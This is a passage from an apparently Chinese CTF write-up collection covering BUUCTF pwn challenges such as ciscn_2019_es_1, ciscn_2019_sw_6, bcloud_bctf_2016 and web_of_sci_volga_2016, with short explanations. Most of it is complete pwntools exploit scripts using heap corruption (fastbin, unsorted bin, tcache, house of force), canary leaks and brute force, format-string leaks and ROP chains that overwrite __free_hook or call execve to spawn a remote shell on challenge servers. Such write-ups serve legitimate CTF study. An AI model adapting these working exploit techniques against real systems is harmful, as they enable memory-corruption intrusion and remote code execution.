	payload += p64(0x110) + p64(0xF1) + p64(heap_list + 32*0x8 - 0x18) + p64(heap_list + 32*0x8 - 0x10)
	payload = payload.ljust(0xF0,"\xaa")
	payload += p64(0xF0)
	edit(32,payload)
	free(5)
	payload = p64(0) * 3 + p64(heap_list) + p64(0)*26 + p64(0x0000000300000001) 
	edit(32,payload)
	edit(32,p64(elf.got['__libc_start_main']))
	show(0)
	__libc_start_main = u64(sh.recvuntil("\x0a\x31",True).ljust(8,'\x00')) >> 8
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	__free_hook = libc + lib.symbols['__free_hook']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search('/bin/sh\x00').next()
	payload = p64(__free_hook)
	edit(32,payload)
	edit(0,p64(system))
	free(3)
	log.success("binsh: " + hex(binsh))
	log.success("system: " + hex(system))
	log.success("__libc_start_main: " + hex(__libc_start_main))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("libc: " + hex(libc))
	#gdb.attach(sh)
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20176,0)

0x34 ciscn_2019_es_1

由于题目要求是2.29，但是环境是2.23，所以解法会有较大差别，但是按环境为主

由于只能申请12个堆块，而且一次add会申请两个堆块，对我们的堆块利用会造成干扰，所以我们需要在最后一次add的时候，同时完成unsorted bin attack和fastbin attack的组合式攻击

1、leak libc和heap_base这个攻击手法就不用多说了

2、先两次double free和fastbin attack把被攻击堆块放入bins中，然后修改unsorted bin的bk，使得__free_hook的低位地址写入0x7f开头的大数，然后在最后一次add，通过malloc(0x18)完成unsorted bin attack，写入大数，然后同时malloc(0x68)fastbin attack，覆盖__free_hook为system

然后free一个内容为/bin/sh\x00的堆块即可，推荐使用double free之后，第二次add的堆块的内容设置为/bin/sh\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_es_1")
sh = 0
lib = 0
def add(size,name,phone):
	sh.recvuntil("choice:")
	sh.sendline("1")
	sh.recvuntil("Please input the size of compary's name")
	sh.sendline(str(size))
	sh.recvuntil("please input name:")
	sh.send(name)
	sh.recvuntil("please input compary call:")
	sh.send(phone)
def show(idx):
	sh.recvuntil("choice:")
	sh.sendline("2")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def free(idx):
	sh.recvuntil("choice:")
	sh.sendline("3")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_es_1")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	add(0xF0,'a' * 0x80,'\x00' * 0x4 + p64(0x61)) #idx 0
	add(0x58,'b' * 0x58,'\x00' * 0x4 + p64(0x61)) #idx 1
	add(0x58,'c' * 0x58,'\x00' * 0x4 + p64(0x61)) #idx 2
	add(0x68,'d' * 0x68,'\x00' * 4 + p64(0x61))   #idx 3
	add(0x68,'e' * 0x68,'\x00' * 4 + p64(0x61))   #idx 4
	free(0)
	free(1)
	free(2)
	show(0)
	main_arena = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00')) - 88
	libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
	__free_hook = libc + lib.symbols['__free_hook']
	system = libc + lib.symbols['system']
	free(1)
	free(3)
	free(4)
	free(3)
	show(2)
	heap_base = u64(sh.recvuntil("\x0a\x70\x68",True)[-6:].ljust(8,'\x00'))
	heap_base = (heap_base >> 12) << 12
	add(0x58,p64(heap_base + 0xD8),'\x00' * 4 + p64(0x61)) #idx 5
	add(0x58,"/bin/sh\x00",'\x00' * 4 + p64(0x61)) #idx 6
	add(0x58,p64(heap_base + 0xD8),'\x00' * 4 + p64(0x61)) #idx 7
	for i in range(0,3):
		add(0x68,p64(__free_hook - 0x43),'\x00' * 4 + p64(0x61)) #idx 8-10
	payload  = p64(0x21) + p64(heap_base + 0xe8) + p64(0x58) + p64(0) + p64(0x21)
	payload += p64(main_arena + 88) + p64(__free_hook - 0x40 - 0x10)
	add(0x58,payload,'\x00' * 4 + p64(0x61))#idx 11
	payload = '\x00' * 3 + p64(0) * 6 + p64(system)
	add(0x68,payload,'\x00' * 4 + p64(0x61)) #idx 12
	free(6)
	log.success("main_arena: " + hex(main_arena))
	log.success("libc: " + hex(libc))
	log.success("heap_base: " + hex(heap_base))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("fastbin attack: " + hex(__free_hook - 0x40 + 0x7))
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20173,0)

0x35 ciscn_2019_sw_6

简单看一下程序的功能，发现是归并排序，然后会输出逆序数

漏洞在输入数组的时候，可以无限输入，所以可以考虑利用ROPgadget构造ROP链，但是开启了canary，需要leak canary

考虑到canary末尾两位为0，所以只需要爆破6位即可，想了一下程序只能输出逆序数，所以可以利用逆序数的特点进行攻击

1、输入一串有序数列，然后在canary的上方输入0，即可开始排序，由于我们输入的是一个有序数列，然后末尾为0和canary，进行排序之后输出的逆序数，可以让我们定位canary的区间

2、有数列一开始根据0x10000000-0xFFFFFFFF，由于有299个数量（因为301是canary，300是0用于停止输入），所以一个区间大小为(0xFFFFFFFF - 0x10000000) / 299，由于canary十分大，所以误差可以忽略不计，一次定位可以缩小三个数量级

3、一次定位可以确定第一位的大小，二次定位可以确定前4位的大小，第三次定位可以唯一确定一个canary或两个canary，多跑几次就好了

4、跑出canary之后，利用ROPgadget生成ROP链，然后覆盖eip即可拿到shell

但是buuoj的交互好像有一定的限制，导致我交互到60多次就EOF了，而拿到shell需要交互1200+，且50%的概率。buuoj两分钟重置一次环境，我觉得2分钟好像跑不完1200+次，哈哈哈，没事本地拿到shell就好了，说明思路没有错

这里介绍一个jly大师傅的解法，scanf("%ud")，如果输入带符号的数，则不会改变欲写入地址的数据，就可以越过canary直接写ropchain，这不得不膜一下jly师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_sw_6")
sh = 0
lib = 0
canary_list = []
def getRop():
	rop = []
	rop.append(0x080704fa) # pop edx ; ret
	rop.append(0x080ec060) # @ .data
	rop.append(0x080b9856) # pop eax ; ret
	rop.append(0x6E69622F)
	rop.append(0x08055efb) # mov dword ptr [edx], eax ; ret
	rop.append(0x080704fa) # pop edx ; ret
	rop.append(0x080ec064) # @ .data + 4
	rop.append(0x080b9856) # pop eax ; ret
	rop.append(0x68732F2F)
	rop.append(0x08055efb) # mov dword ptr [edx], eax ; ret
	rop.append(0x080704fa) # pop edx ; ret
	rop.append(0x080ec068) # @ .data + 8
	rop.append(0x0804a773) # xor eax, eax ; ret
	rop.append(0x08055efb) # mov dword ptr [edx], eax ; ret
	rop.append(0x08049021) # pop ebx ; ret
	rop.append(0x080ec060) # @ .data
	rop.append(0x08070521) # pop ecx ; pop ebx ; ret
	rop.append(0x080ec068) # @ .data + 8
	rop.append(0x080ec060) # padding without overwrite ebx
	rop.append(0x080704fa) # pop edx ; ret
	rop.append(0x080ec068) # @ .data + 8
	rop.append(0x0804a773) # xor eax, eax ; ret
	rop.append(0x08096a87) # add eax,2 ; ret
	rop.append(0x08096aa0) # add eax,3 ; ret
	rop.append(0x08096aa0) # add eax,3 ; ret
	rop.append(0x08096aa0) # add eax,3 ; ret
	rop.append(0x0806e173) # int 0x80
	return rop
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_sw_6")
	else:
		sh = remote(ip,port)
	sh.recvuntil("Name:")
	sh.sendline("fuckyou")
	#leak 1
	sh.recvuntil("Count?(Input 0 to stop)")
	sh.sendline("301")
	num = 0x10000000
	for i in range(0,299):
		sh.recvuntil(": ")
		sh.sendline(str(num))
		canary_list.append(num)
		num = num + 0xCD7C24
	sh.recvuntil(": ")
	sh.sendline(str(0x0))
	sh.recvuntil("The result is ")
	magic1 = int(sh.recvuntil("\n",False),10) - 299
	canary_min_1 = (299 - magic1 - 1) * 0xCD7C24 + 0x10000000
	canary_max_1 = (299 - magic1) * 0xCD7C24 + 0x10000000
	sh.recvuntil("Continue?(y/n)")
	sh.sendline("y")
	#leak 2
	delta2 = (canary_max_1 - canary_min_1) / 299
	num = canary_min_1
	sh.recvuntil("Count?(Input 0 to stop)")
	sh.sendline("301")	
	for i in range(0,299):
		sh.recvuntil(": ")
		sh.sendline(str(num))
		num = delta2 + num
	sh.recvuntil(": ")
	sh.sendline(str(0x0))
	sh.recvuntil("The result is ")
	magic2 = int(sh.recvuntil("\n",False),10) - 299
	canary_min_2 = (299 - magic2 - 1) * delta2 + canary_min_1
	canary_max_2 = (299 - magic2) * delta2 + canary_min_1
	sh.recvuntil("Continue?(y/n)")
	sh.sendline("y")	
	#leak 3	
	delta3 = (canary_max_2 - canary_min_2) / 299
	num = canary_min_2
	sh.recvuntil("Count?(Input 0 to stop)")
	sh.sendline("301")
	for i in range(0,299):
		sh.recvuntil(": ")
		sh.sendline(str(num))
		num = delta3 + num
	sh.recvuntil(": ")
	sh.sendline(str(0x0))
	sh.recvuntil("The result is ")
	magic3 = int(sh.recvuntil("\n",False),10) - 299
	canary_min_3 = (299 - magic3 - 1) * delta3 + canary_min_2
	canary_max_3 = (299 - magic3) * delta3 + canary_min_2
	sh.recvuntil("Continue?(y/n)")
	sh.sendline("y")
	canary = (canary_max_3 >> 8) << 8
	sh.recvuntil("Count?(Input 0 to stop)")
	sh.sendline("301")
	ROP = getRop()
	for i in range(0,300):
		sh.recvuntil(": ")
		sh.sendline(str(0xdeadbeef))
	sh.recvuntil(": ")
	sh.sendline(str(canary))
	sh.recvuntil(": ")
	sh.sendline(str(0xdeadbeef))
	for i in ROP:
		sh.recvuntil(": ")
		sh.sendline(str(i))
	sh.recvuntil(": ")
	sh.sendline("0")
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20133,0)

0x36 ping_gnop_hackover_2016

我将这题称为ROPgadget --ropchain人工版

题目中存在过滤字符，所以要一个一个尝试gadget，然后再利用可用的gadget构造ROP链，最后通过int 0x80拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ping_gnop_hackover_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ping_gnop_hackover_2016")
	else:
		sh = remote(ip,port)
	pop_ebx_ret = 0x08050C5E
	pop_ecx_ret = 0x080e05f5
	pop_eax_ret = 0x080b9b26
	pop_edx_ret = 0x0806fe6a
	pop_esi_ret = 0x08049a34
	xor_eax_eax_ret = 0x08049573
	push_eax_ret = 0x080b9ac6
	int_0x80 = 0x0806d9c5
	xchg_eax_edx_ret = 0x0806cf29
	add_eax_3_ret = 0x08096be0
	add_eax_2_ret = 0x08096bc7
	add_eax_1_ret = 0x0807b576
	add_al_a_ret = 0x080e4dc2
	mov_eax_a_ret = 0x080e4dc2
	mov_eax_ecx_ret = 0x08070408
	pop_ecx_ebx_ret = 0x0806fe91
	mov_eax_ecx_pop_3_ret = 0x080498B6
	mov_ptr_edx_eax_ret = 0x0805596b
	add_al_89 = 0x08056e76
	sub_al_83 = 0x08077c0f
	dec_eax = 0x08064a93
	offset = 37
	payload = 'a' * offset
	payload += p32(0x1337CAFE)
	payload += 'aaaabaaacaaadaaaeaaafaaa'
	payload += p32(pop_edx_ret)
	payload += p32(0x080ED584)
	payload += p32(pop_ecx_ret)
	payload += "/bin"
	payload += p32(mov_eax_ecx_pop_3_ret)
	payload += p32(0xdeadbeef) * 3
	payload += p32(mov_ptr_edx_eax_ret)
	payload += p32(pop_edx_ret)
	payload += p32(0x080ED588)
	payload += p32(pop_ecx_ret)
	payload += "//sh"
	payload += p32(mov_eax_ecx_pop_3_ret)
	payload += p32(0xdeadbeef) * 3
	payload += p32(mov_ptr_edx_eax_ret)
	payload += p32(pop_ecx_ebx_ret)	
	payload += p32(0x080ed594)	
	payload += p32(0x080ed584)	
	payload += p32(xor_eax_eax_ret)
	payload += p32(xchg_eax_edx_ret)
	payload += p32(xor_eax_eax_ret)
	payload += p32(add_al_a_ret)
	payload += p32(add_al_a_ret)
	for i in range(0,9):
		payload += p32(dec_eax)
	payload += p32(int_0x80)
	sh.sendline(payload[::-1])
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20045,0)

0x37 warmup

这题要配好各个寄存器参数，然后利用read将读入字符数写入eax，从而将函数序列号变成execve的序列号，然后再确保寄存器内的指针都是正确的，即可拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("warmup")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./warmup")
	else:
		sh = remote(ip,port)
	write_addr = 0x08048135
	read_addr  = 0x0804811D
	execve_addr = 0x08048122
	offset = 32
	payload  = offset * "a"
	payload += p32(read_addr)
	payload += p32(0x080480D8)
	payload += p32(0)
	payload += p32(0x80491bc)
	payload += p32(0x80491bc)
	sh.send(payload)
	sleep(0.2)
	sh.send("/bin/sh" + '\x00'*4)
	sleep(0.2)
	offset = 32
	payload  = offset * "a"
	payload += p32(read_addr)
	payload += p32(0x08048122)
	payload += p32(0)
	payload += p32(0x80491bc)
	payload += p32(0x804920c) 
	sh.send(payload)
	sleep(0.2)
	sh.send("/bin/sh" + '\x00'*4)
	sh.interactive()
if __name__ == "__main__":
	pwn("f.buuoj.cn",20000,0)

0x38 fixedpoint_plaid_2016

这题就是典型的shellcode，找数字吧小伙子~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("fixedpoint_plaid_2016")
sh = 0
lib = 0
def write(num):
	sh.sendline(str(num))
	sleep(0.1)
	sh.sendline("395841308")
	sleep(0.1)
	sh.sendline("175700696")
	sleep(0.1)
	sh.sendline("177668635")
def send(num):
	sh.sendline(str(num))
	sleep(0.1)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./fixedpoint_plaid_2016")

	else:
		sh = remote(ip,port)
	send(443750948)
	write(394804464)
	write(395349960)
	write(395424832)
	write(395478312)
	write(394804464)
	write(394804464)
	write(395531792)
	write(395414136)
	write(394301752)
	send(188835259)
	send(275002318)
	send(247465383)
	send(274506417)
	sh.sendline("a")
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20072,0)

0x39 ciscn_2019_final_2

典型的UAF和tcache attack，但是dup2函数需要我们将stdin的fileno替换为666，然后再输入一次数据（即功能4退出里的scanf），就可以输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_final_2")
sh = 0
lib = 0
def addInt(num):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil(">")
    sh.sendline("1")
    sh.recvuntil("your inode number:")
    sh.send(str(num))
def showInt():
    sh.recvuntil("> ")
    sh.sendline("3")
    sh.recvuntil(">")
    sh.sendline("1")
    sh.recvuntil(":")
    return sh.recvuntil("\n",True)
def showShort():
    sh.recvuntil("> ")
    sh.sendline("3")
    sh.recvuntil(">")
    sh.sendline("2")
    sh.recvuntil(":")
    return sh.recvuntil("\n",True)
def addShort(num):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil(">")
    sh.sendline("2")
    sh.recvuntil("your inode number:")
    sh.sendline(str(num))
def freeInt():
    sh.recvuntil("> ")
    sh.sendline("2")
    sh.recvuntil(">")
    sh.sendline("1")
def freeShort():
    sh.recvuntil("> ")
    sh.sendline("2")
    sh.recvuntil(">")
    sh.sendline("2")
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./ciscn_2019_final_2")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    addInt(0x11)
    freeInt()
    addShort(0x21)
    addShort(0x21)
    addShort(0x21)
    addShort(0x21)
    freeShort()
    addInt(0x11)
    freeShort()
    chunk_addr1 = int(showShort(),10)
    addShort(chunk_addr1 - 0xa0)
    addShort(chunk_addr1 - 0xa0)
    addShort(0x91)
    for i in range(7):
        freeInt()
        addShort(0x21)
    freeInt()
    chunk_addr2 = int(showInt(),10)
    main_arena = chunk_addr2 - 96
    fileno = main_arena - 0x1D8
    addInt(fileno)
    addInt(0x100)
    freeInt()
    addShort(0x21)
    freeInt()
    chunk_addr3 = int(showInt(),10)
    addInt(chunk_addr3 - 0x30)
    addInt(0x9999)
    addInt(fileno)
    addInt(666)
    sh.sendline("4")
    if debug == 1:
        log.success("pid = " + str(sh.pid)) 
    sh.interactive()
if __name__ == "__main__":
    pwn("pwn.buuoj.cn",20231,0)

0x40 强网杯2019 拟态 STKOF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context.log_level = "debug"
context.arch = "amd64"
elf1 = ELF("__stkof")
elf2 = ELF("_stkof")
sh1 = 0
sh2 = 0
def rop32():
	p = ''
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9064) # @ .data + 4
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x080d9060) # padding without overwrite ebx
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x080495a3) # int 0x80
	return p
def rop64():
	p = ''
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000040e09f) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000461645) # syscall ; ret
	return p
def pwn(ip,port,debug):
	global sh1
	global sh2
	global lib
	if(debug == 1):
		#sh1 = process("./__stkof")
		sh2 = process("./_stkof")
	else:
		sh = remote(ip,port)
	offset1  = 272
	payload  = offset1 * 'a'
	payload += p32(0x0806b225)
	offset2  = 256
	payload += p32(0) + rop64()
	payload  = payload.ljust(offset1 + offset2 + 4,'a')
	payload += rop32()
	sh.send(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("node1.buuoj.cn",28669,0)

0x41 ciscn_2019_ne_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_ne_3")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_ne_3")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
	pop_ebx_ret = 0x08048431
	pop_ebp_ret = 0x0804881b
	pop3_ret = 0x08048819
	leave_ret = 0x08048575
	base = 0x0804A800
	sh.recvuntil("name?")
	sh.send("a" * 9)
	sh.recvuntil("password:")
	sh.send("-1\x00\x00"+ p32(0x08048793) + p32(0x0804A060) + p32(0x500))
	sh.recvuntil("):")
	offset   = 56 + 4 * 4
	payload  = offset * 'a'
	payload += p32(0x0804A064 + 4)
	sh.sendline(payload)
	sleep(0.2)
	payload  = p32(elf.plt['read']) + p32(pop3_ret) + p32(0) + p32(base) + p32(0x500)
	payload += p32(pop_ebp_ret) + p32(base) + p32(leave_ret) 
	sh.sendline(payload)
	payload  = p32(0) + p32(elf.plt['puts']) + p32(pop_ebx_ret) + p32(elf.got['__libc_start_main'])
	payload += p32(elf.plt['read']) + p32(pop3_ret) + p32(0) + p32(base) + p32(0x500)
	sleep(0.2)
	sh.recv()
	sh.sendline(payload)
	__libc_start_main = u32(sh.recv(4))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	binsh = libc + lib.search("/bin/sh\x00").next()
	system = libc + lib.symbols['system']
	sleep(0.2)
	payload = p32(0)*3 + p32(system) + p32(0xdeadbeef) + p32(binsh)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20169,0)

0x42 bcloud_bctf_2016

典型的house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("bcloud_bctf_2016")
sh = 0
lib = 0
def add(size,content):
	sh.recvuntil(">>")
	sh.sendline("1")
	sh.recvuntil(":")
	sh.sendline(str(size))
	if size > 0:
		sh.recvuntil(":")
		sh.send(content)
def edit(idx,content):
	sh.recvuntil(">>")
	sh.sendline("3")
	sh.recvuntil(":")
	sh.sendline(str(idx))
	sh.recvuntil(":")
	sh.send(content)
def free(idx):
	sh.recvuntil(">>")
	sh.sendline("4")
	sh.recvuntil(":")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./bcloud_bctf_2016")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
	sh.recvuntil(":")
	sh.send("b" * 0x40)
	sh.recvuntil("b" * 0x40)
	heap_base = (u32(sh.recv(4)) >> 12) << 12
	topChunk = heap_base + 0xd8
	sh.recvuntil(":")
	sh.send(0x40 * "a")
	sh.recvuntil(":")
	sh.sendline("\xff" * 0x4)
	notesize_addr = 0x0804B0A0
	notelist_addr = 0x0804B120
	add(notesize_addr - topChunk - 0x10,'')
	payload = p32(0x400) * 10
	payload = payload.ljust(0x0804B120 - 0x0804B0A0,'\x00')
	payload += p32(elf.got['free'])
	payload += p32(notesize_addr)
	payload += p32(elf.got['__libc_start_main'])
	add(0x400,payload + "\n")
	edit(0,p32(elf.plt['puts']) + "\n")
	free(2)
	__libc_start_main = u32(sh.recvuntil('\xf7')[-4:])
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	edit(0,p32(system) + "\n")
	edit(1,payload + p32(binsh) + "\n")
	free(3)
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20020,0)

0x43 web_of_sci_volga_2016

leak canary，然后普通的ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("web_of_sci_volga_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./web_of_sci_volga_2016")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	pop_rdi_ret = 0x4010a3
	pop_rsi_r15_ret = 0x4010a1
	payload = "\x00"
	sh.recvuntil("name")
	sh.sendline("%43$p")
	sh.recvuntil("0x")
	canary = int(sh.recvuntil(",",True),16)
	for i in range(9):
		sh.recvuntil(":")
		sh.sendline("0")
	offset = 0xa0 + 8
	payload = ''
	payload = payload.ljust(0xa0 - 0x18,'a')
	payload += p64(canary)
	payload = payload.ljust(offset,'a')
	payload += p64(pop_rdi_ret)
	payload += p64(elf.got['__libc_start_main'])	
	payload += p64(elf.plt['puts'])
	payload += p64(0x400FCD)
	sh.sendline(payload)
	sh.recvuntil(": ")
	__libc_start_main = u64(sh.recvuntil("\x7f").ljust(8,'\x00'))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	sh.recvuntil("name")
	sh.sendline("%43$p")
	sh.recvuntil("0x")
	canary = int(sh.recvuntil(",",True),16)
	for i in range(9):
                sh.recvuntil(":")
                sh.sendline("0")
	offset = 0xa0 + 8
	payload = ''
	payload = payload.ljust(0xa0 - 0x18,'a')
	payload += p64(canary)
	payload = payload.ljust(offset,'a')
	payload += p64(pop_rdi_ret)
	payload += p64(binsh)
	payload += p64(system)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20098,0)

0x44 ciscn_2019_sw_1

printf花式溢出漏洞，无限循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
